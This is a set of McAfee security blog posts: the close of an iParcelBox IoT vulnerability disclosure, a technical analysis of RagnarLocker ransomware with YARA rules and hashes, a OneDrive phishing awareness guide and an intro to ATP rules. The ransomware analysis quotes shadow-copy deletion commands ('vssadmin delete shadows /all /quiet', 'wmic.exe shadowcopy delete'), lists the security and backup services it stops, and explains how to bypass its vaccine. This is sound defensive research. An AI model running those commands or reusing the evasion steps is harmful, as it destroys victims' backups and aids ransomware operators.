With this information an attacker could register for a new iParcelBox account, login to the application, capture the Cognito credentials, begin the “setup” process, click “Add Manually” and then enter all the required information returned from the database to gain full control over any iParcelBox. This could all take place from simply knowing the MAC address since the “AppAuth_Role” can read any database entry.

Required Information to set up the iParcelBox

Lessons Learned

This project took a turn from a classic hardware/IOT device research project to an OSINT research topic very early on. It really goes to show that even simple mistakes with online data hygiene could expose key details to attackers allowing them to narrow down attack vectors or expose sensitive information like credentials.

Since this was a sponsored project from iParcelBox, we reported this to the company immediately. They promptly changed the admin password for every iParcelBox and asked the developers at Mongoose-OS to implement a change where one device’s AWS certificate and private key cannot control any other device. This was patched within 12 hours after our vendor disclosure, which puts iParcelBox in the top response time for a patch that we have ever seen. We have tested the patch and can no longer control other devices or use the old admin password to access the devices from within setup mode.

iParcelBox also fixed the Android application not pinning certificates properly and removed all direct calls to the DynamoDB. We were still able to decrypt some traffic using the Frida SSL unpinner, but the application would freeze, which we believe is due to the MQTT broker not accepting a custom certificate. The DynamoDB queries are now wrapped in API calls which also check against the customer ID. This prevents someone from using their extracted Cognito credentials to obtain information from any device other than their own. Wrapping the database queries within API calls is an effective security fix as well, as the data can be parsed, verified, and sanitized all before committing to the database.

We wanted to give props to the team at iParcelBox for their focus on security throughout the development of this product. It is easy to see from the device and the forum posts that the developers have been trying to make this device secure from the start and have done it well. All non-essential features like UART and Bluetooth are turned off by default and a focus on data protection is clearly there as evidenced through the use of SSL and encryption of the flash memory. There are not many attack surfaces that an attacker could leverage from the device and is a great refreshment to see IOT devices heading this direction.

The post My Adventures Hacking the iParcelBox appeared first on McAfee Blog.

RagnarLocker Ransomware Threatens to Release Confidential Information

9 June 2020 at 16:21
Ransomware

EXECUTIVE SUMMARY

The RagnarLocker ransomware first appeared in the wild at the end of December 2019 as part of a campaign against compromised networks targeted by its operators.

The ransomware code is small (only 48kb after the protection in its custom packer is removed) and coded in a high programming language (C/C++). Like all ransomware, the goal of this malware is to encrypt all files that it can and request a ransom for decrypting them.

RagnarLocker’s operators, as we have seen with other bad actors recently, threaten to publish the information they get from compromised machines if ransoms are not paid.

After conducting reconnaissance, the ransomware operators enter the victim’s network and, in some pre-deployment stages, steal information before finally dropping the ransomware that will encrypt all files in the victim’s machines.

The most notable RagnarLocker attack to date saw this malware deployed in a large company where the malware operators then requested a ransom of close to $11 million USD in return for not leaking information stolen from the company. In this report we will talk about the sample used in this attack.

At the time of writing there are no free decryptors for RagnarLocker.

However, certain McAfee products, including personal antivirus, endpoint, and gateway can protect our customers against the threats that we talk about in this report.

RAGNARLOCKER OVERVIEW

The unpacked malware is a binary file of 32 bits that can be found as an EXE file.

FIGURE 1. INFORMATION ABOUT THE MALWARE

As can be seen in the previous screenshot, this sample was compiled on the 6th of April 2020. The attack mentioned earlier took place some days later, but this sample was prepared for the victim, as we will explain later.

Name malware.exe
Size 48,460 bytes unpacked (can change between samples), packed can be variable
File-Type EXE 32 bits (can change between samples)
SHA 256 7af61ce420051640c50b0e73e718dd8c55dddfcb58917a3bead9d3ece2f3e929
SHA 1 60747604d54a18c4e4dc1a2c209e77a793e64dde
Compile time 06-04-2020 (can change between samples)

 

TECHNICAL DETAILS

As we often see with ransomware, RagnarLocker starts preparing some strings of languages for the CIS countries that are embedded within its own code (in Unicode).

FIGURE 2. THE LANGUAGE STRINGS EMBEDDED INTO THE CODE IN THE STACK

The languages that are hardcoded are:

Georgian
Russian
Ukrainian
Moldavian
Belorussian
Azerbaijani
Turkmen
Kyrgyz
Kazakh
Uzbek
Tajik

 

After preparing these strings, the malware uses the function “GetLocaleInfoW” to get the LOCALE_SYSTEM_DEFAULT language as a string. Once obtained, it will check the system language with the blacklisted languages and, if any of them match, it will terminate itself with the function “TerminateProcess” and with an error result code of 0x29A (as we have seen before with many different malware samples).

FIGURE 3. CHECK OF THE LANGUAGE AGAINST THE BLACKLIST

The check against the LOCALE_SYSTEM_DEFAULT is to prevent a user from installing a language they would not otherwise use as a means of avoiding infection. The check is made against the language selected in Windows. Of course, not everyone in these countries will be using a CIS language in Windows so English is also ok to use. As with other ransomware families, there is no guarantee that infection will be avoided if other languages are selected as the default.

After this the malware will get the name of the infected computer with the function “GetComputerNameW” and the username of whoever is actively using the machine at that time with the function “GetUserNameW”.

FIGURE 4. GET THE COMPUTER NAME AND THE USERNAME

After this the malware will read two registry keys:

  • HKLM\SOFTWARE\Microsoft\Cryptography and the subkey MachineGuid to get the GUID of the victim machine.
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion and the subkey “ProductName” to get the name of the operating system.

For this the malware uses the functions “RegOpenKeyExW”, “RegQueryValueExW” and “RegCloseKey” in the hive HKEY_LOCAL_MACHINE. This hive can be read without admin rights.

FIGURE 5. READ FROM THE REGISTRY THE NAME OF OPERATING SYSTEM AND GUID

Next, RagnarLocker will prepare the first string in the stack with the function “lstrcpyW” and later will start joining the strings with the function “lstrcatW”.

The sequence is first the GUID of the machine, then the Windows operating system name, the user logged in the machine and, finally, the name of the victim machine.

FIGURE 6. GET INFORMATION OF THE USER AND MACHINE AND JOIN ALL STRINGS

In the screenshot some values were modified to protect my virtual machine. After getting this information and preparing the string, the malware makes a custom hash with each.

For this, the malware will reserve some memory with “VirtualAlloc” and get the size of the string and compute the hash in a very small loop. After this it will format the hash with the function “wsprintfW” to have it as a Unicode string.

FIGURE 7. MAKE THE CUSTOM HASH AND FORMAT AS UNICODE STRING

The hashes are made in the following order:

  • Machine name (g. 0xf843256f*)
  • Name of the user logged into the machine (e.g. 0x56ef3218*)
  • GUID of the infected machine (e.g. 0x78ef216f*)
  • Name of the operating system (e.g. 0x91fffe45*)
  • Finally, the full string with all strings joined (e.g. 0xe35d68fe*)

*The above values have been changed to protect my machine.

After this it will use the function “wsprintfW”, with the template string “%s-%s-%s-%s-%s”, to format the custom hashes together with hyphens between them, but in this case the hashes are in this order:

  • GUID
  • Operating System Name
  • Name of the logged in user
  • Name of the infected machine
  • Full string with all other strings joined together

FIGURE 8. CREATE CUSTOM HASH OF THE STRINGS AND FORMAT THE FINAL STRING IN A SPECIAL ORDER

The malware will get the command line of this launch process and will check if it has more than one argument (the first argument is always in C/C++) with the functions “GetCommandLineW”, to get the full command line with arguments if it exists, and “CommandLineToArgvW” to get the arguments if they exist.

If there is more than one argument the malware will avoid the next procedure. To keep the normal flow in the technical details section we will put what happens if only one argument exists. In this case the malware will try to make a Windows Event with the name of the formatted string with all hashes, as explained earlier (in our example case above, 78ef216f-91fffe45-56ef3218-f843256f-e35d68fe).

After trying to create the event the malware will check the last error with the function “GetLastError” and compare with ERROR_ALREADY_EXISTS (0xB7). If the event already exists the malware will check a counter with the value at 0x8000 (32768) and, if is not this value, it will increase the counter by one and try again to make the event, check the last error, and so on, until it can finally make the event, reach the counter value, or it reaches the maximum value in the counter (64233). If the event cannot be created the malware will get the pseudohandle to its own process with the function “GetCurrentProcess” and terminate it with the function “TerminateProcess” with the exit code 0x29A.

FIGURE 9. CREATE EVENT LOOP AFTER CHECKING THERE IS ONLY ONE ARGUMENT IN THE COMMAND LINE

This is done for several reasons:

  • The event is created to avoid relaunching another instance of the malware at the same time.
  • The check of the counter is made if another instance of the malware is launched, to wait for the previous one to finish before continuing the process (this avoids some issues with the malware checking for crypted files).
  • The check of the argument, as we will explain later, can be used to avoid the event behavior so the malware will always try to encrypt files. It is one of the reasons why a vaccine against this malware is useless if the malware operator executes the malware with an argument as simple as “1”.

After this, the malware will try to access in raw mode all units connected to the victim machine in a physical way, preparing the string “\\.\PHYSICALDRIVE%d”. This string will be formatted with the function “wsprintfW”, starting with the first unit that is 0 to a maximum of 16 in a loop. After the format, the malware will use “CreateFileW” and check that it does not return the error “ERROR_INVALID_HANDLE” (that means the unit cannot be accessed or that it does not exist). If this error is returned it will increase the counter and format the string with the new value of the counter. If it can open the handle to the unit in raw mode it will send two commands using the function “DeviceIoControl”.

The commands are:

  • 0x7C0F4 -> IOCTL_DISK_SET_DISK_ATTRIBUTES with the attributes of: DISK_ATTRIBUTE_READ_ONLY and DISK_ATTRIBUTE_OFFLINE.
  • 0x70140 -> IOCTL_DISK_UPDATE_PROPERTIES that will be make the drive update its partition table. As the attributes are updated the malware can be accessed in sharing mode on the disk.

FIGURE 10. CONTROL THE PHYSICAL DISK TO HAVE ACCESS TO IT

The ransomware’s next action is checking the units that exist and can be accessed without any problem. This can be done in two ways, the first of which is using the functions “FindFirstVolumeA”, “FindNextVolumeA” and “FindVolumeClose”.

FIGURE 11. GET VOLUME LETTER AND INFORMATION TO CHECK IT EXISTS AND CAN BE ACCESSED

The first two functions return the volume and the special internal value associated with it. This information comes from Windows, so the malware needs to translate it to the logic unit letter associated to this volume. This is done with the function “GetVolumePathNamesForVolumeNameA” that will return the logic letter associated to the volume inspected.

With this letter the function “GetVolumeInformationA” is then used to get information of the volume if it exists and is enabled. If the volume does not exist or cannot be checked the function will fail and the volume ignored, and the process will move onto the next volume in the machine.

Another check is made using the function “GetLogicalDrives” that will return a structure and, by checking one byte, the malware will know if the unit exists or not.

After this, the malware will prepare the keys that later will be needed to encrypt the files. To make them it will get the crypto context with the function “CryptAquireContextW” that will generate random data with “CryptGenRandom” and prepare to permutate this value with the SHA-512 algorithm. These values are the key and nonce of the Salsa20 algorithm that will be used later to encrypt files.

FIGURE 12. AQUIRE CRYPTO CONTEXT AND GENERATE SOME DATA AND PREPARE WITH SHA-512

The malware continues decrypting some strings using two steps, one in a big function for the first layer and the other that is used later for the second layer and the final string of the service. The services stopped are:

 

vss
sql
memtas -> associated with MailEnable
mepocs -> associated with MailEnable
Sophos -> associated with Sophos Antivirus
Veeam -> associated with a program to make backups and save in the cloud
Backup -> associated with Asus WebStorage
Pulseway -> associated with remote control software for IT departments
Logme -> associated with remote control software
Logmein -> associated with a remote control software
Conectwise -> associated with a remote control software
Splastop -> associated with a remote control software
Mysql -> associated with a program of databases
Dfs -> associated with the Distribute File System (Microsoft)

 

Please note: The services list can change between samples.

After decrypting the strings, the malware accesses the SCManager with the function “OpenSCManagerA”. If it does not want access it will ignore all services and continue onto the next step.

If it can open a handle to it, it will get the status of the service with the function “EnumServicesStatusA” and if the service is stopped already will pass to the next one. The malware calls this function two times, firstly to get the correct size needed for this function, with the last error being checked with ¨GetLastError¨ against the value 0xEA (ERROR_MORE_DATA) (that means that the application needs more memory to fill all information than the function gives).

FIGURE 13. OPEN THE SERVICE MANAGER AND ENUMSERVICESTATUS

This memory is reserved and the function called again later, in this case to get the real status and, if not stopped, the malware will open the service with the function “OpenServiceA” and query the status of the service with the function “QueryServiceStatusEx”. If the service is not stopped, it will get all dependencies of the service with “EnumDependentServicesA” and finally it will control the service to stop it with the function “ControlService”.

FIGURE 14. OPEN THE SERVICES AND CONTROL THEM

After this, the malware decrypts a list of the processes that it will try terminating if it finds them in the infected machine. For this decryption, the malware uses a string that converts into an integer and uses this integer as a critical value to decrypt the list.

For this task, the malware will create a snapshot of all processes in the system per this blacklist:

sql
mysql
veeam
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlpussvc
xfssvccon
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
wordpad
winword
EduLink2SIMS
bengine
benetns
beserver
pvlsvr
beremote
VxLockdownServer
postgres
fdhost
WSSADMIN
wsstracing
OWSTIMER
dfssvc.exe
swc_service.exe
sophos
SAVAdminService
SavService.exe

 

Please note: The processes list can change between samples.

After making the snapshot it will enumerate all processes with the functions “Process32FirstW” and “Process32NextW” and for each process found will call the function “WideCharToMultyByte” to get the size needed to convert the name of the process returned in Unicode into Ascii. Later it reserves memory for the name and calls the same function to make the string conversion.

FIGURE 15. GET ALL SYSTEM PROCESSES

If the malware, after comparison with the function “StrStrIA”, detects some of the blacklisted processes it will open the process with the function “OpenProcess” and terminate it with the function “TerminateProcess” and with the exit  code of 0x29A.

FIGURE 16. OPEN THE PROCESS AND TERMINATE IT IF IT IS BLACKLISTED

The malware will check for all processes in the blacklist, using part of the string rather than the exact name. Not using the extension allows for greater obfuscation but carries the risk that some processes could be closed by accident if they share that string.

After this the malware will check if the operating system is 64-bit or not with the function “GetNativeSystemInfo” against the value 9 (that means that the OS is 64-bit).

If the operating system is 64-bit it will get, using “LoadLibraryW” and “GetProcAddress”, the function “Woe64EnableWow64FsRedirection” to remove the redirection that by default is found in 64-bit operating systems. This call is done in a dynamic way, but the malware does not check that the function was retrieved with success; usually it will be, but it is not 100% certain and a crash calling a null pointer could ensue.

FIGURE 17. CHECK THE OPERATING SYSTEM AND DISABLE REDIRECTION IF NEEDED

After this, the malware will prepare a string in Unicode embedded in the code with the string “wmic.exe shadowcopy delete” and will call it with the function “CreateProcessW”. After the call it will wait for up to an infinite amount of time using the function “WaitForSingleObject” so that the “wmic.exe” process can finish, irrespective of the size and number of shadow volumes, available machine resources, etc.

Of course, the malware will also use the typical program of “vssadmin” to delete the shadow volumes with the command “vssadmin delete shadows /all /quiet”, as well as with the function “CreateProcessW”. After that it will wait again with “WaitForSingleObject” for the end of the new process.

When it finishes, the malware will check again if the operating system is 64-bit and, if it is, will use “LoadLibraryW” and “GetProcAddress” to get the function “Wo64EnableWow64FsRedirection” to leave the system as before with the redirection. Again, the malware does not check that the function is resolved with success and calls it directly in a dynamic way.

FIGURE 18. DESTROY THE SHADOW VOLUMES AND RE-ENABLE THE REDIRECTION

While it seems like a mistake to destroy the shadow volumes again, it is not, as RagnarLocker has support for Windows XP and the WMIC classes do not exist in that operating system, hence the need to use the old program “vssadmin” that exists in both new and old operating systems.

The malware continues with the decryption of one PEM block encoded in base64 and the ransom note is prepared for the target in memory.

FIGURE 19. DECRYPTION OF THE PEM BLOCK AND THE RANSOM NOTE

An example of the ransom note, with confidential information removed, can be seen below:

FIGURE 20. EXAMPLE REDACTED RANSOM NOTE

After preparing both things the malware decodes the PEM block from the base64 as an object, getting a key that will be used to protect the keys used in the crypto process (of course this procedure may change in future samples as the malware evolves) of the RSA algorithm. It is important to note here that this RSA key changes per sample.

FIGURE 21. DECODE FROM BASE64 AND DECODE THE OBJECT AND IMPORT IT TO USE LATER

With this key it will encrypt the two random keys previously generated to protect them in memory. After that, the crypto will release the memory.

Later, it will get the name of the infected machine again, get the size of the name and will calculate the custom hash with the same algorithm as before.

FIGURE 22. CRYPT THE PREVIOUSLY GENERATED VALUES AND GET THE COMPUTER NAME

With this hash it will prepare a string with this structure:

  • RGNR_
  • hash from the name of the victim machine
  • the extension .txt
  • a backslash character at the start of the string

It is done with the function “lstrcatW”.

FIGURE 23. CREATION OF THE RANSOM NOTE NAME

With this string it will get the folder of “My Documents” for all users with the function “SHGetSpecialFolderPathW” (this function, based on the operating system, will get different paths for the documents). This string with the path of the folders will join with the string of the ransom note name and later make the final path to create the file.

FIGURE 24. GET THE DOCUMENTS FOLDER TO LATER WRITE THE RANSOM NOTE

After this it will encode in base64 the critical information to decrypt the files with the function “CryptBinaryToStringA”. The malware uses the function the first time to get the size needed and reserve memory and then uses it again to encode the data. After encoding the data, it creates the ransom note file in the documents path with the string previously joined with the path with the function “CreateFileW” and will write the contents of the ransom note that has been prepared in memory. Later, it will format a special string with some hardcoded characters with “—RAGNAR SECRET—” as a start of block and end of block and, between, will format the encode string in base64 and write in the ransom note.

FIGURE 25. CREATION OF THE RANSOM NOTE AND PUT THE RAGNAR SECRET AT THE END OF IT

Later, the malware will create a new string with the strings:

  • .ragnar_
  • hash of the name of the victim machine

This string will be used later as the new extension in the crypted files. After this the malware will enumerate again the logic units of the system with the function “GetLogicalDrivesW” and, to check if the unit is correct, will use the function “GetVolumeInformationW” and check the type of the unit and avoid the type of CD-ROM. For each logic unit it will enumerate all files and folders and will start the crypto process.

FIGURE 26. GET ALL LOGIC UNITS AND CHECK THEM

Before starting the crypto process, the malware will try to write the ransom note in the root of each unit that is found as a target.

The malware will ignore folders with these names:

Windows
Windows.old
Internet Explorer
Google
Opera
Opera Software
Mozilla
Mozilla Firefox
$Recycle.Bin
ProgramData
All Users

 

The ransom note will be written in all folders that are affected and, as with other ransomware, it will use the functions “FindFirstFileW” and “FindNextFileW” to enumerate all contents in each folder.

FIGURE 27. CHECK OF THE BLACKLISTED FOLDER NAMES

RagnarLocker also avoids crypting certain files:

autorun.inf
boot.ini
bootfont.bin
bootsect.bak
bootmgr
botmgr.efi
bootmgfw.efi
desktop.ini
iconcache.db
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
RGNR_<hash>.txt

 

 

FIGURE 28. CHECK OF BLACKLISTED FILE NAMES

If a file has one of these names it will be ignored and, if it has another name, the malware will avoid any file that has these extensions:

.db
.sys
.dll
.lnk
.msi
.drv
.exe

 

 

FIGURE 29. CHECK OF BLACKLISTED EXTENSIONS

These checks are in place to prevent the ransomware from destroying the operating system as the victim needs to have access to the machine to pay the ransom.

For each file that passes all controls a thread will be created that will encrypt it. After creating all threads, the malware will wait for up to an infinite amount of time with the function “WaitForMultipleObjects”.

In the crypto process, in the threads, the malware will check if the file has the mark “_RAGNAR_” at the end with the function “SetFilePointerEx” and by reading 9 bytes and checking if they are this string. If it has this mark the file will be ignored in the crypto process and will be renamed again (with an extension name based on the current machine name).

FIGURE 30. CHECK OF THE MARK OF CRYPTO IN THE FILE

In other cases the malware will encrypt the file and at the end of it will write the block crypted of the key, used in a block of 256 bytes, and the nonce used in another block of 256 bytes and, finally, the mark “_RAGNAR_”, along with one byte as NULL to end the string (that makes 9 bytes). The key and nonce used in the Salsa20 algorithm are encrypted by the RSA public key embedded in the malware. This ensures only the malware developers can have the RSA private key that belongs to the public key used to decrypt the key and nonce and, thus, decrypt the files in the system.

Before writing this information, the malware will use the function “LockFile” and, when the process of writing the function is finished, “UnlockFile” to release the file already crypted. This is done to prevent the file being changed or deleted during the encryption process.

FIGURE 31. WRITE THE NEW CONTENTS AT THE END OF THE FILE

After the crypto, or if the file is already crypted, the malware will change the extension to a new one, such as “.ragnar_45EF5632”.

FIGURE 32. CHANGE OF THE EXTENSION OF THE CRYPTED FILE

After all threads of crypto, the malware tries to get the session of the Terminal Services or the session of the user logged in the local machine with the function “WTSGetActiveConsoleSessionId”. With this session it gets the current process of the malware with the function “GetCurrentProcess” and the token of this process with the function “OpenProcessToken”. With the session that was got previously it tries to duplicate the token with the function “DuplicateTokenEx” and sets this token with the function “SetTokenInformation”. After this it will get the system directory with the function “GetSystemDirectoryW” and joins to this path the string “\notepad.exe”.

FIGURE 33. GET THE SESSION OF THE LOCAL USER OR TERMINAL SERVICES AND MANAGE THE TOKENS

With this prepared, the malware executes Notepad and, as an argument, the ransom note to show to the user what happened in the machine. The function used in this case is “CreateProcessAsUserW” to impersonate the user that had the session previously. Of course, this function is called with the desktop as “WinSta0\Default”.

FIGURE 34. CREATE A PROCESS OF THE NOTEPAD TO SHOW THE RANSOM NOTE

After this the malware finishes itself with the function “ExitProcess” and a code of exit of 0.

VACCINE

RagnarLocker can have a vaccine if a program is made that can make the event, as explained in the technical part of this blog. If this event exists, the malware does not make anything in the system, but this type of vaccine is not likely to offer a long-term solution for several reasons:

  • The way that the event is done, the malware developers can change the algorithm, or the order of the name of the event, or make a mutex instead of an event and the vaccine will stop working.
  • The algorithm has a hardcoded value. If this value is changed the final hash will be different and the vaccine becomes useless.
  • The malware is developed in such a way that if it has at least two arguments the event is not created so, if the operators want to execute with safety, they need only to execute with an argument, for example “<malware.exe> 1”.
  • The malware may evolve over time so the vaccine can be very fragile and limited.

For these reasons we think that a vaccine using this system is not helpful in the longer-term.

CONCLUSION

RagnarLocker is a simple ransomware, much like others that exist in the criminal market. Due to its small size, its operator’s aggressive behavior and the knowledge they seem to have that allows them to enter the networks of enterprises, as well as the threat to leak information if the ransom is not paid, RagnarLocker could potentially become a big threat in the future. Time will tell if RagnarLocker becomes a serious threat or disappears against a backdrop of other ransomware with more resources. The code is medium in quality.

COVERAGE

McAfee can protect against this threat in all its products, including personal antivirus, endpoint and gateway.

The names that it can have are:

  • Ransom-ragnar

Also, learn how Enhanced Remediation, a new capability in ENS 10.7, can automatically rollback changes made by processes that exhibit malicious behavior.

MITRE ATT&CK COVERAGE

  • Command and Control : Standard Application Layer Protocol
  • Defense Evasion : Disabling Security Tools
  • Discovery : Security Software Discovery
  • Discovery : Software Discovery
  • Discovery : System Information Discovery
  • Discovery : System Service Discovery
  • Discovery : System Time Discovery
  • Discovery : Query registry
  • Execution : Command-Line Interface
  • Execution : Execution through API
  • Exfiltration : Data Encrypted
  • Impact : Data Encrypted for Impact
  • Impact : Service Stop

YARA RULES

rule RagnarLocker

{

    /*

      This YARA rule detects the ransomware RagnarLocker in memory or unpacked in disk for the sample with hash SHA1 97f45184770693a91054075f8a45290d4d1fc06f and perhaps other samples

    */

    meta:

        author      = “McAfee ATR Team”

        description = “Rule to detect unpacked sample of RagnarLocker”

        version     = “1.0”

    strings:

        $a = { 42 81 F1 3C FF 01 AB 03 F1 8B C6 C1 C0 0D 2B F0 3B D7 }

    condition:

        $a

}

 

import “pe”

 

rule ragnarlocker_ransomware

{

   meta:

  

      description = “Rule to detect RagnarLocker samples”

      author = “Christiaan Beek | Marc Rivero | McAfee ATR Team”

      reference = “https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/”

      date = “2020-04-15”

      hash1 = “63096f288f49b25d50f4aea52dc1fc00871b3927fa2a81fa0b0d752b261a3059”

      hash2 = “9bdd7f965d1c67396afb0a84c78b4d12118ff377db7efdca4a1340933120f376”

      hash3 = “ec35c76ad2c8192f09c02eca1f263b406163470ca8438d054db7adcf5bfc0597”

      hash4 = “9706a97ffa43a0258571def8912dc2b8bf1ee207676052ad1b9c16ca9953fc2c”

     

   strings:

  

      //—RAGNAR SECRET—

      $s1 = {2D 2D 2D 52 41 47 4E 41 52 20 53 45 43 52 45 54 2D 2D 2D}

      $s2 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 }

      $s3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 85 ?? 0F 84 }

      $s4 = { FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }

      $s5 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }

     

      $op1 = { 0f 11 85 70 ff ff ff 8b b5 74 ff ff ff 0f 10 41 }

     

      $p0 = { 72 eb fe ff 55 8b ec 81 ec 00 01 00 00 53 56 57 }

      $p1 = { 60 be 00 00 41 00 8d be 00 10 ff ff 57 eb 0b 90 }

     

      $bp0 = { e8 b7 d2 ff ff ff b6 84 }

      $bp1 = { c7 85 7c ff ff ff 24 d2 00 00 8b 8d 7c ff ff ff }

      $bp2 = { 8d 85 7c ff ff ff 89 85 64 ff ff ff 8d 4d 84 89 }

     

   condition:

  

     uint16(0) == 0x5a4d and

     filesize < 100KB and

     (4 of ($s*) and $op1) or

     all of ($p*) and pe.imphash() == “9f611945f0fe0109fe728f39aad47024” or

     all of ($bp*) and pe.imphash() == “489a2424d7a14a26bfcfb006de3cd226”

}

 

IOCs

SHA256 7af61ce420051640c50b0e73e718dd8c55dddfcb58917a3bead9d3ece2f3e929
SHA256 c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6
SHA256 dd5d4cf9422b6e4514d49a3ec542cffb682be8a24079010cda689afbb44ac0f4
SHA256 63096f288f49b25d50f4aea52dc1fc00871b3927fa2a81fa0b0d752b261a3059
SHA256 b670441066ff868d06c682e5167b9dbc85b5323f3acfbbc044cabc0e5a594186
SHA256 68eb2d2d7866775d6bf106a914281491d23769a9eda88fc078328150b8432bb3
SHA256 1bf68d3d1b89e4f225c947442dc71a4793a3100465c95ae85ce6f7d987100ee1
SHA256 30dcc7a8ae98e52ee5547379048ca1fc90925e09a2a81c055021ba225c1d064c

 

USING MVISION EDR TO DETECT RAGNARLOCKER

With thanks to Mo Cashman and Filippo Sitzia

We downloaded a RagnarLocker sample from Virus Total to test detection capability by MVISION Endpoint Detection and Response (EDR). We tested first with the original sample which was known to most detection engines by this time. We then changed file hashes to test detection with an unknown sample. In both cases, MVISION EDR identified the suspicious behaviors and raised alerts. The original sample was detected as a HIGH Risk because the file had a known malicious reputation in McAfee Global Threat Intelligence which is integrated with MVISION EDR. The unknown samples were detected as Medium Risk and most likely would have triggered further inspection by a security analyst.

Sample VT submission

2020-05-30 13:30:55, File size: 48.50 KB, File type Win32 EXE, File name: omniga.exe, VT detections: 51/73

Test Environment

OS Win10, ENS 10.7 Threat Protection off, Adaptive Threat Protection off, MVISION EDR

Execution with original HASH – 3bc8ce79ee7043c9ad70698e3fc2013806244dc5112c8c8d465e96757b57b1e1

To further test MVISION EDR effectiveness, we modified the hash file slightly:

Execution with HASH changed – 63F5B6ED99C559341CF1AD081BAF55B4EACAD8E46D056764531BD316BF3C3EE3

Alerting Results for both samples

The post RagnarLocker Ransomware Threatens to Release Confidential Information appeared first on McAfee Blog.

OneDrive Phishing Awareness

By: Joy Olowo
8 June 2020 at 16:37

There are number of ways scammers use to target personal information and, currently, one example is, they are taking advantage of the fear around the virus pandemic, sending phishing and scam emails to Microsoft OneDrive users, trying to profit from Coronavirus/COVID-19. They will pretend to be emailing from government, consulting, or charitable organizations to steal victim’s OneDrive details. OneDrive scammers will steal sensitive account information like usernames and passwords.  We would like to educate McAfee users and the public about the potential risks with these scams.

Nefarious Groups Attempt to Harvest Users’ Credentials

Below we will take you through three examples of this kind of attack, coming from a government organization, consulting firm and a charitable organization hosted in OneDrive to make them appear more genuine to users. As the screenshot below illustrates, the goal is to steal the user’s OneDrive credentials.

Fake Government Email Baits Victims

Scammers pretend to be from government offices and deliver documents that contain the latest live questionnaire regarding COVID-19. Remember: governments do not generally email the masses, sending unrequested documents, so a user could verify by examining the sender email address and location in the email headers and could visit the legitimate government site to see if there is COVID-19 information there instead.

When the folder in the above image is clicked on, it redirects to the screenshot shown below.

A warning saying “Hmm… looks like this file doesn’t have a preview we can show you” baits the visitor into clicking on the Open button. When clicked, it takes them to the below OneDrive screenshot prompting them to enter their personal information.

Notice that the link points users to a vulnerable WordPress site that contains a credential phishing landing page. A user should be aware that a legitimate OneDrive login page will never be hosted on a non-Microsoft domain. This should be a red flag to the user that this may be a scam or phishing attack.

 

As intended by the scammers, the user cannot access the OneDrive document to view the updated government questionnaire and, instead, will receive an error message to try again later.

By this stage, the scammers would have already stolen the user’s OneDrive personal information.

Fake Consulting Firm Attempts to Trick Users with Secured Document

Scammers pretend to be a consulting firm to share a secured document with the customer regarding the COVID-19 pandemic. Accepting an email document from a random and unsolicited consulting firm should be regarded as suspicious.

 

 

If a recipient clicks on the Download PDF link, it will take them to the page shown above where they are prompted to login. If they do so, it brings them to the below Microsoft login page where they enter their email address and password.

After attempting to sign in, the victim will be presented with an error message, as seen in the below screenshot.

When they enter their OneDrive information they will receive an error message saying, “Sorry, but we’re having trouble signing you in”. However, by this point, the scammers have already stolen the user’s OneDrive information.

Fake Charitable Organization Tries to Trick Volunteers

Some emails appear like charitable organizations looking for volunteers to help the community.

 

If someone clicks on the open PDF link, it will take them to the below OneDrive login page.

Scammers are trying to harvest company and individual OneDrive credentials by pretending to appear as a non-profit organization looking for volunteers.

 

The user is then presented with a login screen requesting their credentials.

However, they should notice the URL hosting the OneDrive login page is not from a Microsoft domain and should be regarded as suspicious.

Advice to Consumers

Consumers should be aware of scammers trying to harvest OneDrive details and should follow these best practices: –

  • Be careful of any charity or businesses requesting their OneDrive user information. Stick with organizations known to be reputable.
  • Never share financial or personal information over the phone, via email or with untrusted sites.
  • Remember that legitimate organizations will almost never send an email asking for personal information.
  • Never click on suspicious links or download attachments from unknown sources.
  • Never log in to a web page reached through a link from an email.
  • Remember email addresses can be spoofed so if a message looks suspicious, contact the sender via a known telephone number taken from their official website.

Advice to Organizations

  • Organizations should activate multi-factor authentication to prevent stolen credentials from been used to access OneDrive or Office 365 accounts.
  • Ensure all employees are aware of the threat posed by OneDrive and Office 365 phishing scams and consider security awareness training where appropriate.

 

If you find suspected scam sites, please submit them to McAfee for review at https://trustedsource.org as well as reporting them to your local law enforcement.

The post OneDrive Phishing Awareness appeared first on McAfee Blog.

How To Use McAfee ATP to Protect Against Emotet, LemonDuck and PowerMiner

19 May 2020 at 16:30

Introduction

This blog describes how McAfee ATP (Adaptive Threat Protection) rules are used within McAfee Endpoint Security products. It will help you understand how ATP Rules work and how you can utilize them to prevent infections from prevalent malware families such as Emotet, LemonDuck and PowerMiner. Please read through the recommendation section to effectively utilize rules in your environment.

ATP rules are a form of Attack Surface reduction technology which detects suspicious use of OS features and applications. These rules target behaviors which are often abused by malware authors. There can be cases where legitimate applications utilize the same behavior and hence rules need to be configured based on the environment.

ATP rules within McAfee Endpoint Security (ENS) 10.5.3 and above have already detected over a million pieces of malware since the start of 2020. This blog will show you how to enable ATP rules and explains why they should be enabled by highlighting some of the malware we detect with them. We’ll also show you how to maximize detection capabilities by tweaking some specific settings.

First, let’s start with an overview. We release ATP rules in three types: Evaluate, DefaultOn and HighOn.

Evaluate rules are tested in the field by McAfee to determine if they are robust enough to detect malicious activity while not producing false positives. Once a rule has been in evaluate mode for a period of time, McAfee researchers will analyze its performance and either make modifications or promote it to DefaultOn or HighOn. ENS ATP customers connected to McAfee ePolicy Orchestrator (ePO) can manually change Evaluate rules to Enabled mode.

DefaultOn rules are created when McAfee has high confidence that no legitimate applications will be impacted. These rules are then enabled by default in all McAfee Endpoint Security rule groups.

